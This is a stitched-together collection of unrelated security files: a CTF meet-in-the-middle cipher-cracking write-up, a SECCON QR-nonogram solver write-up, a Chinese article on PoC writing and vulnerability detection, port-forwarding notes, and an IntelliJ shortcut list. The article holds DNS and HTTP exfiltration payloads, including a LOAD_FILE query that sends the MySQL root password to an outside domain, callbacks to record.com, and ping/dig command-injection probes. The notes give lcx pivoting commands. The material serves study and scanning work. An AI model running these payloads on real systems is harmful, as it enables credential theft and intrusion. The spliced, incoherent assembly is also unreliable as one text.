This means that we can attack the encryption scheme in two phases, assuming we know enough of the plaintext (in our case - the first block):
* First we compute all possibilities for `ABC.Encrypt(K1, P)`. That is, we encrypt the plaintext with all possible keys, and then store a mapping between the result and the key.
* In our case, we just encrypt the first block
* Then, we compute (up to) all possibilities for `ABC.Decrypt(K2, C)`. That is, we decrypt the ciphertext with each of the keys until we find a result that exists in the mapping we've already computed.
* In our case, we just decrypt the first block
If we find a match, it's very likely that we were able to recover both keys.
Let's implement this attack:
```python
from abcipher import *
import itertools
import re
import time
def main():
prefix = b"Dear Bob"
assert(len(prefix) == BLOCK_SIZE)
abc = AliceBlockCipher()
abcd = AliceBlockCipherDouble()
ciphertext = """
2b18e4d50348a814bf4468903c3c2da0
ad9cb544f19134064bd08868de952dbf
f014780e2c3466b972f2a4b68f326d92
2b5f1aeb9d0383fa04f94022b2acbe5d
213c3f97c69f4bdd090bbb1cd35a69e5
8636720ad269f78afc401d6f55012eda
da9540e7de5fc13e5f3dd5031c346fc6
cc36c6bbc1d11ac79921b0af219ed34f
89f43b04c9e1b2740ca4c7ff3789fcb0
216f9799f811356e79ab2252cb610c74
106cc5ff61ab104f9d9e9f24d33361c0
"""
ciphertext = re.sub(r"\s+", "", ciphertext)
ciphertext = bytearray.fromhex(ciphertext)
word_file = "rockyou.txt"
print ("CipherText: {}".format(hex_str(ciphertext)))
first_block = ciphertext[:BLOCK_SIZE]
print ("First Block: {}".format(hex_str(first_block)))
print ("")
phase1_dict = {}
with open(word_file, "r", encoding = "utf8") as f:
print ("Reading Words...")
words = f.readlines()
words = list(map(lambda word: word.rstrip().encode("utf8"), words))
print ("Encrypting all words with key1...")
for key1 in words:
enc_with_key1 = abc.Encrypt(prefix, key1)
phase1_dict[enc_with_key1] = key1
print ("Decrypting block with all words...")
for key2 in words:
phase2_dec = abc.Decrypt(first_block, key2)
if phase2_dec in phase1_dict:
key1 = phase1_dict[phase2_dec]
print ("Found keys: ({}, {}) \n'{}'".format(key1.decode("utf8"),
key2.decode("utf8"),
abcd.Decrypt(ciphertext, key1, key2).decode("ascii")))
return
if __name__ == "__main__":
start = time.time()
main()
end = time.time()
print ("Execution ended in {} seconds".format(end - start))
```
Output:
```console
root@kali:/media/sf_CTFs/technion/Alice_in_Cryptoland# python3 -O crack_abcd.py
CipherText: 2b18e4d50348a814bf4468903c3c2da0ad9cb544f19134064bd08868de952dbff014780e2c3466b972f2a4b68f326d922b5f1aeb9d0383fa04f94022b2acbe5d213c3f97c69f4bdd090bbb1cd35a69e58636720ad269f78afc401d6f55012edada9540e7de5fc13e5f3dd5031c346fc6cc36c6bbc1d11ac79921b0af219ed34f89f43b04c9e1b2740ca4c7ff3789fcb0216f9799f811356e79ab2252cb610c74106cc5ff61ab104f9d9e9f24d33361c0
First Block: 2b18e4d50348a814
Reading Words...
Encrypting all words with key1...
Decrypting block with all words...
Found keys: (Intel2185, AMISRAELHAI)
'Dear Bob, did you know that Michael Luby and Charles Rackoff proved that 4 rounds are sufficient to make a Feistel network a cstechnion{str0n9_p53ud0R4ndom_p3rmu7at1on}? Alice.'
Execution ended in 415.5057303905487 seconds
```
The flag: `cstechnion{str0n9_p53ud0R4ndom_p3rmu7at1on}`
|
sec-knowleage
|
##QR puzzle (Nonogram) (Misc, 300p)
>Solve a puzzle 30 times
>http://qrlogic.pwn.seccon.jp:10080/game/
###PL
[ENG](#eng-version)
Zadanie było proste: dostajemy losowo wygenerowany nonogram, rozwiązujemy go otrzymując qrcode, dekodujemy go i przechodzimy do następnej rundy. Jeżeli uda nam się dotrzeć do końca to otrzymujemy flagę.

Sama gra nie jest tutaj bardzo ważna: miało dla nas znaczenie tylko to, że było dostępnych kilka gotowych solverów. Losowo użyliśmy tego: http://jwilk.net/software/nonogram.
Jako że było sporo rund zdecydowaliśmy się napisać w pełni automatyczny solver. Pierwszym zadaniem było sparsowanie strony i pobranie liczb nonogramu.
```python
import requests
from bs4 import BeautifulSoup
import re
session = requests.Session()
source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/').content
soup = BeautifulSoup(source)
print re.findall('Stage: (\d+) / 30', source)
def parse(cls):
return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)]
rows = parse('rows')
cols = parse('cols')
```
Następna część to przekazanie tych danych do faktycznego solvera:
```python
from pwn import *
solver = process('nonogram-0.9/nonogram')
solver.sendline("%d %d" % (len(cols), len(rows)))
for row in rows:
solver.sendline(' '.join(row))
for col in cols:
solver.sendline(' '.join(col))
solver.shutdown()
```
I otrzymanie wyniku:
```python
qr_text = []
for i in range(0, len(rows)):
solver.recvuntil('|')
qr_text.append(solver.recvuntil('|')[:-1])
```
Który na tym etapie wyglądał tak:

To tekst, a my musimy skonwertować go na faktyczny obrazek z qrcode:
```python
from PIL import Image, ImageDraw
size = 20
image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))
draw = ImageDraw.Draw(image)
for i in range(0, len(qr_text)):
for j in range(0, len(qr_text[0]) / 2):
pos = ((j * size, i * size), (j * size + size, i * size + size))
draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white')
image.save('qrcode.png')
```
Możemy go teraz przeczytać:
```python
import qrtools
qr = qrtools.QR()
qr.decode('qrcode.png')
return qr.data
```
Wysłać i powtórzyć cały proces.
```python
answer = ''
for i in range(0, 100):
get_image(answer)
answer = get_qrcode()
print answer
```
Solver nie był idealny - musieliśmy go uruchomić kilka razy, ale po kilku minutach otrzymaliśmy flagę.
`SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}`
### ENG version
Task details are simple: we get a randomly generated nonogram, we solve it and with that get a qr code, we decode it and get to the next round. If we manage to get to the end we're given the flag.

The game itself isn't very important here: all that mattered to us was that there were several solvers available. We randomly chose this one: http://jwilk.net/software/nonogram.
As there were many stages we opted in for a fully automated solver. First task was to parse the webpage and get the nonogram numbers.
```python
import requests
from bs4 import BeautifulSoup
import re
session = requests.Session()
source = session.post('http://qrlogic.pwn.seccon.jp:10080/game/').content
soup = BeautifulSoup(source)
print re.findall('Stage: (\d+) / 30', source)
def parse(cls):
return [[span.contents[0] for span in th.find_all('span')] for th in soup.find_all('th', class_=cls)]
rows = parse('rows')
cols = parse('cols')
```
Next part was to pass these to the actual solver:
```python
from pwn import *
solver = process('nonogram-0.9/nonogram')
solver.sendline("%d %d" % (len(cols), len(rows)))
for row in rows:
solver.sendline(' '.join(row))
for col in cols:
solver.sendline(' '.join(col))
solver.shutdown()
```
And get the result:
```python
qr_text = []
for i in range(0, len(rows)):
solver.recvuntil('|')
qr_text.append(solver.recvuntil('|')[:-1])
```
Which at this point looked like this:

That's text and we need to convert it to a proper qrcode image:
```python
from PIL import Image, ImageDraw
size = 20
image = Image.new('RGB', ((len(qr_text) * size), (len(qr_text[0]) * size) / 2))
draw = ImageDraw.Draw(image)
for i in range(0, len(qr_text)):
for j in range(0, len(qr_text[0]) / 2):
pos = ((j * size, i * size), (j * size + size, i * size + size))
draw.rectangle(pos, 'black' if qr_text[i][j * 2] == '#' else 'white')
image.save('qrcode.png')
```
We can now read it:
```python
import qrtools
qr = qrtools.QR()
qr.decode('qrcode.png')
return qr.data
```
Send it and repeat the whole process:
```python
answer = ''
for i in range(0, 100):
get_image(answer)
answer = get_qrcode()
print answer
```
The solver wasn't perfect: we had to rerun it several times, but after few minutes we got the flag.
`SECCON{YES_WE_REALLY_LOVE_QR_CODE_BECAUSE_OF_ITS_CLEVER_DESIGN}`
|
sec-knowleage
|
原文 by RickGray
## 0x00 简介
现在有一个现象就是一旦有危害较高的漏洞的验证 PoC 或者利用 EXP 被公布出来,就会有一大群饥渴难忍的帽子们去刷洞,对于一个路人甲的我来说,看得有点眼红。漏洞从披露到研究员分析验证,再到 PoC 编写,进而到大规模扫描检测,在这环环相扣的漏洞应急生命周期中,我认为最关键的部分应该算是 PoC编写 和 漏洞检测 这两个部分了:

* PoC编写 - 复现漏洞环境,将漏洞复现流程代码化的过程
* 漏洞检测 - 使用编写好的 PoC 去验证测试目标是否存在着漏洞,需要注意的是在这个过程(或者说是在编写 PoC 的时候)需要做到安全、有效和无害,尽可能或者避免扫描过程对目标主机产生不可恢复的影响
首先来说说 PoC 编写。编写 PoC 在我看来是安全研究员或者漏洞分析者日常最基础的工作,编写者把漏洞验证分析的过程通过代码描述下来,根据不同类型的漏洞编写相应的 PoC。根据常年编写 PoC 积累下来的经验,个人认为在编写 PoC 时应遵循几个准侧,如下:
* 随机性
* 确定性
* 通用型
可能你会觉得我太学术了?那么我就一点一点地把他们讲清楚。
## 0x01 PoC 编写准则 & 示例
### i. 随机性
PoC 中所涉及的关键变量或数据应该具有随机性,切勿使用固定的变量值生成 Payload,能够随机生成的尽量随机生成(如:上传文件的文件名,webshell 密码,Alert 的字符串,MD5 值),下面来看几个例子(我可真没打广告,例子大都使用的 pocsuite PoC 框架):

上图所示的代码是 WordPress 中某个主题导致的任意文件上传漏洞的验证代码关键部分,可以看到上面使用了kstest.php 作为每一次测试使用的上传文件名,很明显这里是用的固定的文件名,违背了上面所提到的随机性准侧。这里再多啰嗦一句,我并没有说在 PoC 中使用固定的变量或者数据有什么不对,而是觉得将能够随机的数据随机化能够降低在扫描检测的过程所承担的一些风险。
根据随机性准侧可修改代码如下:

更改后上传文件的文件名每次都为随机生成的 6 位字符,个人认为在一定程度上降低了扫描检测交互数据被追踪的可能性。
### ii. 确定性
PoC 中能通过测试返回的内容找到唯一确定的标识来说明该漏洞是否存在,并且这个标识需要有针对性,切勿使用过于模糊的条件去判断(如:HTTP 请求返回状态,固定的页面可控内容)。同样的,下面通过实例来说明一下:

上图所示的代码是某 Web 应用一个 UNION 型 SQL 注入的漏洞验证代码,代码中直接通过拼接 `-1' union select 1,md5(1) --` 来进行注入,因该漏洞有数据回显,所以如果测试注入成功页面上会打印出 md5(1) 的值`c4ca4238a0b923820dcc509a6f75849b`,显然的这个 PoC 看起来并没有什么问题,但是结合准则第一条随机性,我觉得这里应该使用 md5(rand_num) 作为标识确定更好,因为随机化后,准确率更高:

这里也不是坑你们,万一某个站点不存在漏洞,但页面中就是有个 `c4ca4238a0b923820dcc509a6f75849b`,你们觉得呢?
讲到这里,再说说一个 Python requests 库使用者可能会忽视的一个问题。有时候,我们在获取到一个请求返回对象时,会像如下代码那样做一个前置判断:

可能有人会说了,Python 中条件判断非空即为真,但是这里真的是这么处理的么?并不是,经过实战遇到的坑和后来测试发现,Response 对象的条件判断是通过 HTTP 返回状态码来进行判断的,当状态码范围在 [400, 600] 之间时,条件判断会返回 False。
我为什么要提一下这个点呢,那是因为有时候我们测试漏洞或者将 Payload 打过去时,目标可能会因为后端处理逻辑出错而返回 500,但是这个时候其实页面中已经有漏洞存在的标识出现,如果这之前你用刚才说的方法提前对 Response 对象进行了一个条件判断,那么这一次就会导致漏报。
### iii. 通用性
PoC 中所使用的 Payload 或包含的检测代码应兼顾各个环境或平台,能够构造出通用的 Payload 就不要使用单一目标的检测代码,切勿只考虑漏洞复现的环境(如:文件包含中路径形式,命令执行中执行的命令)。下图是 WordPress 中某个插件导致的任意文件下载漏洞:

上面验证代码逻辑简单的说就是,通过任意文件下载漏洞去读取 /etc/passwd 文件的内容,并判断返回的文件内容是否包含关键的字符串或者标识。明显的,这个 Payload 只适用于 *nix 环境的情况,在 Windows 平台上并不适用。更好的做法应该是根据漏洞应用的环境找到一个必然能够体现漏洞存在的标识,这里,我们可以取 WordPress 配置文件 wp-config.php 来进行判断(当然,下图最终的判断方式可能不怎么严谨):

这么一改,Payload 就同时兼顾了多个平台环境,变成通用的了。
大大小小漏洞的 PoC 编写经验让我总结出这三点准则。
## 0x02 漏洞检测方法 & 示例
说了这么多,到底如何去归纳漏洞检测的方法呢?在我看来,根据 Web 漏洞的类型特点和表现形式,可以分为两大类:直接判断 和 间接判断。
* 直接判断:通过发送带有 Payload 的请求,能够从返回的内容中直接匹配相应状态进行判断
* 间接判断:无法通过返回的内容直接判断,需借助其他工具间接的反应漏洞触发与否
多说无益,还是直接上例子来体现一下吧(下列所示 Payloads 不完全通用)。
1. 直接判断
### i. SQLi(回显)
对于有回显的 SQL 注入,检测方法比较固定,这里遵循 “随机性” 和 “确定性” 两点即可。
Error Based SQL Injection
```
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."
condition: (rand_str1 + rand_str2) in response.content
```
针对报错注入来说,利用随机性进行 Payload 构造可以比较稳定和准确地识别出漏洞,固定字符串会因一些小概率事件造成误报。不知道大家是否明白上面两行代码的意思,简单的说就是 Payload 中包含一个可预测结果的随机数据,验证时只需要验证这个可预测结果是否存在就行了。
UNION SQL Injection
```
payload1: "... union select md5(rand_num) ..."
condition1: md5(rand_num) in response.content
payload2: "... union select concat(rand_str1, rand_str2) ..."
condition2: (rand_str1 + rand_str2) in response.content
```
md5(rand_num) 这个很好理解,MySQL 中自带函数,当 Payload 执行成功时,因具有回显所以在页面上定有md5(rand_num) 的哈希值,因 Payload 具有随机性,所以误报率较低。
### ii. XSS(回显)
```
payload: "... var _=rand_str1+rand_str2;confirm(_); ..."
condition: (rand_str1 + rand_str2) in response.content
```
因没怎么深入研究过 XSS 这个东西,所以大家就意会一下示例代码的意思吧。
### iii. Local File Inclusion/Arbitrary File Download(回显)
本地文件包含和任意文件下载的最大区别在哪?本地文件包含不仅能够获取文件内容还可以动态包含脚本文件执行代码,而任意文件下载只能获取文件内容无法执行代码。
所以呢,在针对此类漏洞进行检测时,在进行文件包含/下载测试的时候需要找一个相对 Web 应用固定的文件作为测试向量:
```
payload: "... ?file=../../../fixed_file ..."
condition: (content_flag_in_fixed_file) in response.content
```
例如 WordPress 应用路径下 ./wp-config.php 文件是应用默认必须的配置文件,而文件中的特殊字符串标识require_once(ABSPATH . 'wp-settings.php'); 通常是不会去改动它的(当然也可以是其他的特征字符串),扫描文件下载时只需要去尝试下载 ./wp-config.php 文件,并检测其中的内容是否含有特征字符串即可判断是否存在漏洞了。
### iv. Remote Code/Command Execution(回显)
远程代码/命令执行都是执行,对该类漏洞要进行无害扫描,通常的做法是打印随机字符串,或者运行一下特征函数,然后检查页面返回是否存在特征标识来确认漏洞与否。
```
payload: "... echo md5(rand_num); ..."
condition: (content_flag) in response.content
```
当然了,要执行什么样的特征命令这还需要结合特定的漏洞环境来决定。
### v. SSTI/ELI(回显)
模板注入和表达式注入相对于传统的 SQLi 和 XSS 来说,应该算得上是在开框架化、整体化的过程中产生的问题,当模板内容可控时各种传统的 Web 漏洞也就出现了,XSS、命令执行都能够通过模板注入或着表达式注入做到。曾经风靡一时的 Struts2 漏洞我觉得都能归到此类漏洞中。通常检测只需构造相应模板语言对应的表达式即可,存在注入表达式会得以执行并返回内容:
```
payload1: "... param=%(rand_num1 + rand_num2) ..."
condition1: (rand_num1 + rand_num2) in response.content
payload2: "... param=%(rand_num1 * rand_num2) ..."
condition2: (rand_num1 * rand_num2) in response.content
payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."
condition3: (rand_str1+ rand_str2) in response.content
```
### vi. 文件哈希
有时候漏洞只与单个文件有关,例如 Flash、JavaScript 等文件造成的漏洞,这个时候就可以利用文件哈希来直接判断是否存在漏洞。扫描检测时,首先需要给定路径下载对应的文件然后计算哈希与统计的具有漏洞的所有文件哈希进行比对,匹配成功则说明漏洞存在:
```
payload: "http://vuln.com/vuln_swf_file.swf"
condition: hash(vul_swf_file.swf) == hash_recorded
```
以上就是针对 Web 漏洞检测方法中的 “直接判断” 进行了示例说明,因 Web 漏洞类型繁多且环境复杂,这里不可能对其进行一一举例,所举的例子都是为了更好地说明 “直接判断” 这种检测方法。:)
2. 间接判断
在很久很久之前,我遇到上述这些无回显漏洞环境时是一脸茫然的,一开始懂得了用回连进行判断,后来有了 python -m SimpleHTTPServer 作为简单实时的 HTTP Server 作为回连监控,再后来有了《Data Retrieval over DNS in SQL Injection Attacks》这篇 Paper,虽然文章说的技术点是通过 DNS 查询来获取 SQL 盲注的数据,但是 "Data Retrieval over DNS" 这种技术已经可以应用到大多数无法回显的漏洞上了,进而出现了一些公开的平台供安全研究爱好者们使用,如:乌云的 cloudeye 和 Bugscan 的 DNSLog,当然还有我重写的 CEYE.IO 平台(可以记录dns解析、apache访问log)。
"Data Retrieval over DNS" 技术原理其实很简单,首先需要有一个可以配置的域名,比如:test.com,然后通过代理商设置域名 test.com 的 nameserver 为自己的服务器 ceye.io,然后在服务器 ceye.io 上配置好 DNS Server,这样以来所有 test.com 及其子域名的查询都会到 服务器 ceye.io 上,这时就能够实时地监控域名查询请求了。
就算机器不能连外网,只要可以解析dns(配置了内网 local dns),就可以通过dns查询递归出命令执行的回显!说了那么多,还是不知道怎么用么?那就直接看示例吧(所以后端平台都用 CEYE.IO 作为例子)。
### i. XSS(无回显)
XSS 盲打在安全测试的时候是比较常用的,“看到框就想 X” 也是每位 XSSer 的信仰:
```
payload: "... ><img src=http://record.com/?blindxss ..."
condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
```
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

### ii. SQLi(无回显)
SQL 注入中无回显的情况是很常见的,但是有了 "Data Retrieval over DNS" 这种技术的话一切都变得简单了,前提是目标环境符合要求。下面是mysql 使用 "Data Retrieval over DNS" 技术进行盲注的 Payloads。
```
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.s.livesina.com\\abc'));
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli'))
condition: {*.record.com LOG} in DNS queries LOGs
```
只要目标系统环境符合要求并且执行了注入的命令,那么就会去解析预先设置好的域名,同时通过监控平台能够拿到返回的数据。

### iii. SSRF(无回显)
根据上面两个例子,熟悉 SSRF 的同学肯定也是知道怎么玩了:
```
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..."
condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
```
### iv. RCE(无回显)命令执行/命令注入
这个得好好说一下,我相信很多同学都懂得在命令执行无法回显的时候借用类似 python -m SimpleHTTPServer 这样的环境,采用回连的检测机制来实时监控访问日志。*nix 系统环境下一般是使用 curl 命令或者wget 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个链接,我之前常用的是 ftp 命令和 PowerShell 中的文件下载来访问日志服务器。现在,有了一个比较通用的做法同时兼顾 *nix 和 windows 平台,那就是 ping 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
```
payload: "... | ping xxflag.record.com ..."
condition: {xxflag.record.com LOG} in DNS queries LOGs
```

通过这几个 "间接判断" 的示例,相信大家也大概了解了在漏洞无回显的情况下如何进行扫描和检测了。更多的无回显 Payloads 可以通过 http://ceye.io/payloads 进行查看。也可以直接 dig @x.x.x.x $(whoami) 这样如果在 dns解析服务器上有收到请求,则表示命令已经执行了。
## 0x03 应急实战举例
原理和例子说了这么多,也该上上实际的扫描检测案例了。
### Java 反序列化(通用性举例,ftp/ping)
首先说说 15 年底爆发的 Java 反序列化漏洞吧,这个漏洞应该算得上是 15 年 Web 漏洞之最了。记得当时应急进行扫描的时候,WebLogic 回显 PoC 并没有搞定,对其进行扫描检测的时候使用了回连的方式进行判断,又因为待测目标包含 *nix 和 windows 环境,所以是写了两个不同的 Payloads 对不同的系统环境进行检测,当时扫描代码的 Payloads 生成部分为:

### i. *nix
当时真实的日志内容:

可以看到我在构造 Payload 的时候通过链接参数来唯一识别每一次测试的 IP 地址和端口,这样在检查访问日志的时候就能确定该条记录是来自于哪一个测试目标(因为入口 IP 和出口 IP 可能不一致),同时在进行批量扫描的时候也能方便进行目标确认和日志处理。
### ii. windows

当时真实的日志内容:

因为 windows 上的 ftp 命令无法带类似参数一样的标志,所以通过观察 FTP Server 连接日志上不是很好确认当时测试的目标,因为入口 IP 和出口 IP 有时不一致。
上面的这些 PoC 和日志截图都是去年在应急时真实留下来的,回想当时再结合目前的一些知识,发现使用通用的 Payloadping xxxxx.record.com 并使用 "Data Retrieval over DNS" 技术来收集信息日志能够更为通用方便地进行检测和扫描。所以,最近更换了一下 Payload 结合 CEYE.IO 平台又对 WebLogic 反序列化漏洞的影响情况又进行了一次摸底:

这里添加一个随机字符串作为一个子域名的一部分是为了防止多次检测时本地 DNS 缓存引起的问题(系统一般会缓存 DNS 记录,同一个域名第一次通过网络解析得到地址后,第二次通常会直接使用本地缓存而不会再去发起查询请求)。
相应平台的记录为(数量略多):

## Reference
[漏洞检测的那些事儿](http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/)
|
sec-knowleage
|
# 端口转发实验
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。
**相关文章**
- [渗透基础——端口转发与代理](https://www.4hou.com/posts/PQMA)
**相关工具**
- [cw1997/NATBypass](https://github.com/cw1997/NATBypass) - 一款 lcx 在 golang 下的实现
- [knownsec/rtcp](https://github.com/knownsec/rtcp) - 利用 Python 的 Socket 端口转发,用于远程维护
- [k8gege/PortTran](https://github.com/k8gege/PortTran) - .NET 端口转发工具,支持任意权限
- [EarthWorm](http://rootkiter.com/EarthWorm/)
- [idlefire/ew: 内网穿透(跨平台)](https://github.com/idlefire/ew)
- [「SOCKS5代理」ew 正向、反向、多级级联](https://ai-sewell.me/2018/SOCKS5%E4%BB%A3%E7%90%86-ew-%E6%AD%A3%E5%90%91-%E5%8F%8D%E5%90%91-%E5%A4%9A%E7%BA%A7%E7%BA%A7%E8%81%94/)
- [利用 ew 轻松穿透目标多级内网](https://klionsec.github.io/2017/08/05/ew-tunnel/)
- [ph4ntonn/Stowaway](https://github.com/ph4ntonn/Stowaway)
- **lcx**
```bash
lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets
lcx -listen 4567 33891 # Attacker
```
- **netcat**
- **tcp 端口连接**
```bash
smtp: nc -nv 192.168.30.35 25 help
pop3: nc -nv 192.168.30.35 110 user xxx pass xxx
imap: nc -nv 192.168.30.35 143
```
- **chat**
```bash
nc -nvlp 4444 # A 主机
nc -nv 192.168.30.35 4444 # B 主机
```
- **socat**
```
socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:8080
```
---
## 正向转发
### Windows
---
### Linux
#### 利用 Iptable 进行端口转发
**测试实验**
拓扑环境如下:
内网有4台机器,其中一台有公网IP,外网连接公网机器指定端口访问相应内网机器
```
192.168.1.182:5222 <==> 192.168.1.14:22
192.168.1.182:6389 <==> 192.168.1.122:3389
192.168.1.182:7222 <==> 192.168.1.227:22
```
这里采用 Iptable 进行转发
```bash
echo 1 >/proc/sys/net/ipv4/ip_forward # 开启转发功能
```
添加转发规则
```bash
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.182 --dport 5222 -j DNAT --to-destination 192.168.1.14:22
iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.14 --dport 22 -j SNAT --to-source 192.168.1.182
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.182 --dport 6389 -j DNAT --to-destination 192.168.1.122:3389
iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.122 --dport 3389 -j SNAT --to-source 192.168.1.182
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.182 --dport 7222 -j DNAT --to-destination 192.168.1.227:22
iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.227 --dport 22 -j SNAT --to-source 192.168.1.182
iptables -L -t nat --line-number
```
测试连接
维护规则
```bash
iptables-save > /etc/iptables.up.rules # 保存规则
iptables-restore < /etc/iptables.up.rules # 恢复规则
iptables -F -t nat # 清除规则
```
#### 利用 rinetd 进行端口转发
**测试实验**
---
## 反向转发
|
sec-knowleage
|
---
title: IntelliJ IDEA
date: 2020-12-17 21:51:44
background: bg-gradient-to-r from-pink-500 via-violet-400 to-blue-400 hover:from-pink-700 hover:via-violet-600 hover:to-blue-500
tags:
- jetbrains
- java
- shortcut
categories:
- Keyboard Shortcuts
intro: |
IntelliJ IDEA is a very good Java IDE, most of its commands have shortcuts to keep your hands from leaving the keyboard
---
IDEA Windows & Linux Keymap
--------
### Editing {.row-span-5}
| shortcut | description |
|----|---------|
`Ctrl` `Space`| Basic code completion
`Ctrl` `Shift` `Space`| Smart code completion
`Ctrl` `Shift` `Enter`| Complete statement
`Ctrl` `P`| Parameter info
`Ctrl` `Q`| Quick documentation lookup
`Shift` `F1`| External Doc
`Ctrl` `hover`| Brief Info
`Ctrl` `F1`| Error or warning at caret
`Alt` `Insert`| Generate code
`Ctrl` `O`| Override methods
`Ctrl` `I`| Implement methods
`Ctrl` `Alt` `T`| Surround with
`Ctrl` `/`| Comment or uncomment line
`Ctrl` `Shift` `/`| Comment or uncomment block
`Ctrl` `W`| Select successively increasing code blocks
`Ctrl` `Shift` `W`| Decrease current selection to previous state
`Alt` `Q`| Context info
`Alt` `Enter`| Show intention actions and quick-fixes
`Ctrl` `Alt` `L`| Reformat code
`Ctrl` `Alt` `O`| Optimize imports
`Ctrl` `Alt` `I`| Auto-indent line(s)
`Tab`| Indent selected lines
`Shift` `Tab`| Unindent selected lines
`Ctrl` `X`| Cut current line or selected block to clipboard
`Ctrl` `C`| Copy current line or selected block to clipboard
`Ctrl` `V`| Paste from clipboard
`Ctrl` `Shift` `V`| Paste from recent buffers
`Ctrl` `D`| Duplicate current line or selected block
`Ctrl` `Y`| Delete line at caret
`Ctrl` `Shift` `J`| Smart line join
`Ctrl` `Enter`| Smart line split
`Shift` `Enter`| Start new line
`Ctrl` `Shift` `U`| Toggle case for word at caret or selected block
`Ctrl` `Shift` `]` _/_ `[`| Select till code block end/start
`Ctrl` `Backspace`| Delete to word end/start
`Ctrl` `+` _/_ `-`| Expand/collapse code block
`Ctrl` `Shift` `+`| Expand all
`Ctrl` `Shift` `-`| Collapse all
`Ctrl` `F4`| Close active editor tab
{.shortcuts}
### Usage Search
| shortcut | description |
|----|---------|
`Alt` `F7` _/_ `Ctrl` `F7`| Find usages/Find usages in file
`Ctrl` `Shift` `F7`| Highlight usages in file
`Ctrl` `Alt` `F7`| Show usages
{.shortcuts}
### Navigation {.row-span-4}
| shortcut | description |
|----|---------|
`Ctrl` `N`| Go to class
`Ctrl` `Shift` `N`| Go to file
`Ctrl` `Alt` `Shift` `N`| Go to symbol
`Alt` `Right` _/_ `Left`| Go to next / previous editor tab
`F12`| Go back to previous tool window
`Esc`| Go to editor
`Shift` `Esc`| Hide active or last active window
`Ctrl` `Shift` `F4`| Close active run, messages...
`Ctrl` `G`| Go to line
`Ctrl` `E`| Recent files popup
`Ctrl` `Alt` `Left` _/_ `Right`| Navigate back / forward
`Ctrl` `Shift` `Backspace`| Navigate to last edit location
`Alt` `F1`| Select current file or symbol in any view
`Ctrl` `B` _/_ `Ctrl` `Click`| Go to declaration
`Ctrl` `Alt` `B`| Go to implementation(s)
`Ctrl` `Shift` `I`| Open quick definition lookup
`Ctrl` `Shift` `B`| Go to type declaration
`Ctrl` `U`| Go to super-method / super-class
`Alt` `Up` _/_ `Down`| Go to previous / next method
`Ctrl` `]/[`| Move to code block end/start
`Ctrl` `F12`| File structure popup
`Ctrl` `H`| Type hierarchy
`Ctrl` `Shift` `H`| Method hierarchy
`Ctrl` `Alt` `H`| Call hierarchy
`F2` _/_ `Shift` `F2`| Next/previous highlighted error
`F4` _/_ `Ctrl` `Enter`| Edit source / View source
`Alt` `Home`| Show navigation bar
`F11`| Toggle bookmark
`Ctrl` `F11`| Toggle bookmark with mnemonic
`Ctrl` `0...9`| Go to numbered bookmark
`Shift` `F11`| Show bookmarks
{.shortcuts}
### Search/Replace
| shortcut | description |
|----|---------|
`Double Shift`| Search everywhere
`Ctrl` `F`| Find
`F3` `Shift` `F3`| Find next / Find previous
`Ctrl` `R`| Replace
`Ctrl` `Shift` `F`| Find in path
`Ctrl` `Shift` `R`| Replace in path
{.shortcuts}
### Live Templates
| shortcut | description |
|----|---------|
`Ctrl` `Alt` `J`| Surround with Live Template
`Ctrl` `J`| Insert Live Template
`iter`| Iteration according to Java SDK 1.5 style
`inst`| Check object type with instanceof and downcast it
`itco`| Iterate elements of java.util.Collection
`itit`| Iterate elements of java.util.Iterator
`itli`| Iterate elements of java.util.List
`psf`| public static final
`thr`| throw new
{.shortcuts}
### Refactoring
| shortcut | description |
|----|---------|
`F5`| Copy
`F6`| Move
`Alt` `Delete`| Safe Delete
`Shift` `F6`| Rename
`Ctrl` `F6`| Change Signature
`Ctrl` `Alt` `N`| Inline
`Ctrl` `Alt` `M`| Extract Method
`Ctrl` `Alt` `V`| Extract Variable
`Ctrl` `Alt` `F`| Extract Field
`Ctrl` `Alt` `C`| Extract Constant
`Ctrl` `Alt` `P`| Extract Parameter
{.shortcuts}
### Debugging
| shortcut | description |
|----|---------|
`F8/F7`| Step over/Step into
`Shift` `F7` _/_ `Shift` `F8`| Smart step into/Step out
`Alt` `F9`| Run to cursor
`Alt` `F8`| Evaluate expression
`F9`| Resume program
`Ctrl` `F8`| Toggle breakpoint
`Ctrl` `Shift` `F8`| View breakpoints
{.shortcuts}
### Compile and Run
| shortcut | description |
|----|---------|
`Ctrl` `F9`| Make project
`Ctrl` `Shift` `F9`| Compile selected file, package or module
`Alt` `Shift` `F10` _/_ `F9`| Select configuration and run/and debug
`Shift` `F10` _/_ `F9`| Run/Debug
`Ctrl` `Shift` `F10`| Run context configuration from editor
{.shortcuts}
### VCS/Local History
| shortcut | description |
|----|---------|
